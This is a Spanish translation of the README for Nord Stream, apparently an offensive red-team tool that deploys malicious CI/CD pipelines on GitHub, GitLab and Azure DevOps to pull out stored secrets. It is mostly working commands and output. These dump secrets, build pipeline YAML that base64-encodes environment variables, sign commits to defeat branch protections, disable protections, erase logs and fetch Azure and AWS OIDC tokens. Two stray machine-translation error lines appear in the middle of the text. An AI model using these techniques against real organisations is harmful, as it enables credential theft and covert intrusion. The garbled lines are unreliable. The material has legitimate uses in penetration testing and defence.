
Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos. Actualmente es compatible con Azure DevOps, GitHub y GitLab.
Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos.
Actualmente es compatible con Azure DevOps, GitHub y GitLab.
Puedes encontrar más información en el siguiente artículo de blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` también es necesario (ver https://git-scm.com/download/) y debe existir en tu `PATH`.
## Uso
Aquí tienes un ejemplo simple en GitHub; inicialmente, se pueden enumerar los distintos secretos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
A continuación, proceda con la exfiltración:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Argumentos compartidos
Algunos argumentos se comparten entre [GitHub](#github), [Azure DevOps](#azure-devops) y [GitLab](#gitlab); aquí hay algunos ejemplos.
#### Describir token
La opción `--describe-token` se puede utilizar para mostrar información general sobre tu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
La opción --build-yaml se puede utilizar para crear un archivo de pipeline sin desplegarlo. Recupera los distintos nombres de secretos para construir el pipeline asociado, que se puede utilizar para añadir pasos personalizados:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
La opción `--yaml` se puede utilizar para desplegar un pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
No se ha proporcionado el contenido del fragmento (chunk 13). Envíe el bloque de texto en inglés para poder traducirlo al español.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Por defecto, mostrará la salida de la tarea denominada `command` del trabajo `init`, pero todo se almacena localmente y se puede acceder manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
De forma predeterminada, Nord Stream intentará eliminar los rastros dejados tras el despliegue de un pipeline, dependiendo de tus privilegios. Para conservar los rastros, se puede utilizar la opción --no-clean. Esto conservará los registros del pipeline, pero aun así revertirá los cambios realizados en el repositorio.
Ten en cuenta que, en GitLab, algunos rastros no se pueden eliminar.
Los administradores del repositorio pueden imponer la firma obligatoria de commits en una rama para bloquear todos los commits que no estén firmados y verificados. Con Nord Stream es posible firmar commits para eludir dicha protección.
Primero, crea e importa tu clave GPG en la plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
No se proporcionó contenido en el campo INPUT. No hay texto que traducir.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
Paquetes necesarios: instalar
### Azure DevOps
Nord Stream puede extraer los siguientes tipos de secretos:
- Grupos de variables (vg)
- Archivos seguros (sf)
- Conexiones de servicio
#### Conexiones de servicio
Azure DevOps ofrece la posibilidad de crear conexiones con servicios externos y remotos para ejecutar tareas en un trabajo. Para ello, se utilizan las conexiones de servicio. Una conexión de servicio contiene credenciales para una identidad hacia un servicio remoto. Existen múltiples tipos de conexiones de servicio en Azure DevOps.
Nord Stream actualmente admite la extracción de secretos para los siguientes tipos de conexión de servicio:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
Si te encuentras con un tipo no compatible, abre un issue o haz un pull request :)
##### SSH
La extracción para este tipo de conexión de servicio fue dolorosa de implementar. La salida es la siguiente:```
hostname:::port:::user:::password:::privatekey
Si quieres ejecutarlo en un runner autoalojado, puedes hacer lo siguiente:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
Luego necesitas:
1) cambia `vmImage: ubuntu-latest` por `name: 'Self-Hosted pool name'`
2) Añade el nombre de la conexión de servicio en el marcador de posición `#FIXME`.
3) despliega la canalización con: `--yaml test.yml`
Si necesitas ejecutar esto en un runner autoalojado de Windows, en el método `generatePipelineForSSH` cambia `_serviceConnectionTemplateSSH` por `_serviceConnectionTemplateSSHWindows` y realiza las acciones descritas anteriormente.
Nota: para runners autoalojados tanto de Windows como de Linux, necesitas adaptar la ruta (`/home/vsts/work/_tasks/` o `D:\a\`) para que coincida con la ruta donde está desplegado el runner. Esta información se puede obtener en la pestaña `Capabilities` de un agente en Azure DevOps.
#### Listado de organizaciones
Con un token de acceso es posible listar las organizaciones vinculadas a un usuario:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
Esto se basa en esta investigación.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### Listar protecciones
La opción `--list-protections` se puede utilizar para listar las protecciones aplicadas a una rama y a los entornos:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
Dependiendo de tus permisos, puedes tener menos información; solo los administradores pueden tener los detalles completos de las protecciones.
La opción --disable-protections se puede usar para deshabilitar temporalmente las protecciones aplicadas a una rama o un entorno, realizar el volcado y restaurar todas las protecciones:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
Esto requiere privilegios de administrador.
#### Force
Por defecto, si Nord Stream detecta una protección en una rama o en un entorno, no realizará la extracción de secretos. Si consideras que las protecciones son demasiado permisivas o pueden omitirse con tus privilegios, se puede utilizar la opción `--force` para desplegar el pipeline independientemente de las protecciones.
#### Azure OIDC
OIDC (OpenID Connect) se puede utilizar para conectarse a servicios en la nube. La idea general es permitir que pipelines o flujos de trabajo autorizados obtengan tokens de acceso de corta duración directamente de un proveedor de nube, sin involucrar secretos estáticos. La autorización se basa en relaciones de confianza configuradas en el lado del proveedor de nube y está condicionada por el origen del pipeline o flujo de trabajo.
Aquí hay un ejemplo de un flujo de trabajo de GitHub que utiliza OIDC:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
Si te encuentras con un flujo de trabajo de este tipo, esto significa que el repositorio podría estar configurado para obtener un token de acceso de corta duración que puede darte acceso a los recursos de Azure.
Nord Stream es capaz de desplegar una canalización para recuperar dicho token de acceso con las siguientes opciones:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
El `--azure-subscription-id` es opcional y puede usarse para obtener un token de acceso para una suscripción específica.
#### AWS OIDC
La misma técnica (ver [Azure OIDC](#azure-oidc)) puede usarse para obtener un token de sesión en AWS.
Aquí hay un ejemplo de un flujo de trabajo que usa AWS OIDC:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
Si te encuentras con un workflow de este tipo, esto significa que el repositorio podría estar configurado para obtener un token de acceso de AWS que puede darte acceso a los recursos de AWS.
Nord Stream es capaz de desplegar un pipeline para recuperar dicho token de acceso con las siguientes opciones:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### Ayuda```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
Como se describe en el artículo, no hay forma de eliminar los registros en la pestaña de actividad después de un despliegue de pipeline. Esto debe tenerse en cuenta durante los compromisos de Red Team.
La opción --list-secrets puede usarse para listar y extraer secretos de GitLab.
La forma en que GitLab gestiona los secretos es un poco diferente de Azure DevOps y GitHub action. Con acceso de administrador a un proyecto, grupo o incluso acceso de administrador en la instancia de GitLab, es posible extraer todas las variables de CI/CD que estén definidas sin desplegar ningún pipeline.
Sin embargo, desde un usuario con pocos privilegios, no es posible listar los secretos definidos a nivel de proyecto, grupo o instancia. No obstante, si los usuarios tienen privilegios de escritura sobre un proyecto, podrán desplegar un pipeline malicioso para exfiltrar las variables de entorno que exponen las variables de CI/CD. Esto significa que un usuario con pocos privilegios no tiene forma de saber si un secreto está definido en un proyecto concreto. La única forma es observar los pipelines legítimos que ya existan en un proyecto y comprobar si un pipeline utiliza variables de entorno sensibles.
Este es un archivo de pipeline para realizar esta operación en GitLab:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLab también admite archivos seguros como Azure DevOps. Los archivos seguros se definen a nivel de proyecto. Al igual que las variables, no es posible listar los archivos seguros sin acceso de administrador al proyecto. Sin embargo, con acceso de administrador, nord-stream intentará exfiltrar los archivos seguros relacionados con los proyectos.
#### YAML
Igual que [YAML](#yaml), sin embargo necesitas proporcionar la ruta completa del proyecto así:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
La salida del comando --list-projects devuelve dicha ruta.
Igual que Lista de protecciones de GitHub
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --url <gitlab_url> Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] Añadir soporte para URL correspondientes a instancias de Azure DevOps Server (soluciones on-premises)
- [ ] Añadir una opción para extraer secretos a través de hosts Windows
- [ ] Añadir soporte para otros entornos CI/CD (Jenkins/Bitbucket)
- [ ] Usar la API GraphQL de GitHub en lugar de la REST para listar las reglas de protección de ramas y deshabilitarlas temporalmente si coinciden con la rama maliciosa que se va a subir
## Contacto
Por favor, envía cualquier error, problema, pregunta o solicitud de funcionalidad en "Issues" o envíanoslos por Twitter [@hugow](https://twitter.com/hugow_vincent) y [@0hexit](https://twitter.com/0hexit).